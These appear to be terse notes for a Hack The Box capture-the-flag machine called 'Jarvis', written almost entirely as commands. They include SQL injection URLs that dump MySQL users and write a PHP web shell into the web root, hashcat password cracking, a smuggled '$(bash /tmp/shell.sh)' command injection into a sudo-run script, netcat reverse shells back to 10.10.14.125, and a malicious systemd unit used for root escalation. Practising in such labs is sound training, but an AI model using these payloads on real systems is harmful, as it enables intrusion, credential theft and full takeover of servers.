Jarvis

echo “10.129.203.177 jarvis.htb” | sudo tee -a /etc/hosts

nmap -p- —open -T5 -v -n 10.129.203.177

nmap -p- —open -sS —min-rate 5000 -vvv -n -Pn 10.129.203.177 -oG allPorts

extractPorts allPorts

nmap -sCV -p80,443 10.129.203.177 -oN targeted

http://10.129.203.177/room.php?cod=0%20UNION%20SELECT%201,version(),3,4,5,6,7 http://10.129.203.177/room.php?cod=0%20UNION%20SELECT%201,group_concat(user,0x3a,file_priv),3,4,5,6,7%20from%20mysql.user

http://10.129.203.177/room.php?cod=0%20UNION%20SELECT%201,%22%3C?php %20echo%20system($_REQUEST[%27test%27]);%20?%3E%22,3,4,5,6,7%20into %20outfile%20%27/var/www/html/shell.php%27

hashcat —examples-hashes | grep -i “sha1”

hashcat -m 300 -a 0 hash /usr/share/wordlists/rockyou.txt

nmap —script http-enum -p80 10.129.203.177 -oN ../nmap/webScan

Corremos linEnum.sh

sudo -l

python simpler.py -p

‘10.10.14.125’

nc -lvnp 443

echo “nc -e /bin/sh 10.10.14.125 443” > /tmp/shell.sh

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

$(bash /tmp/shell.sh)

nc -lvnp 443

echo ‘[Service]

Type=notify ExecStart=/bin/sh -c “nc -e /bin/bash 10.10.14.125 443” KillMode=process >Restart=on-faillure RestartSec=42s [Install] WantedBy=multi-user.target’ > new.service systemctl link /home/pepper/new.service systemctl start new

nc -lvnp 443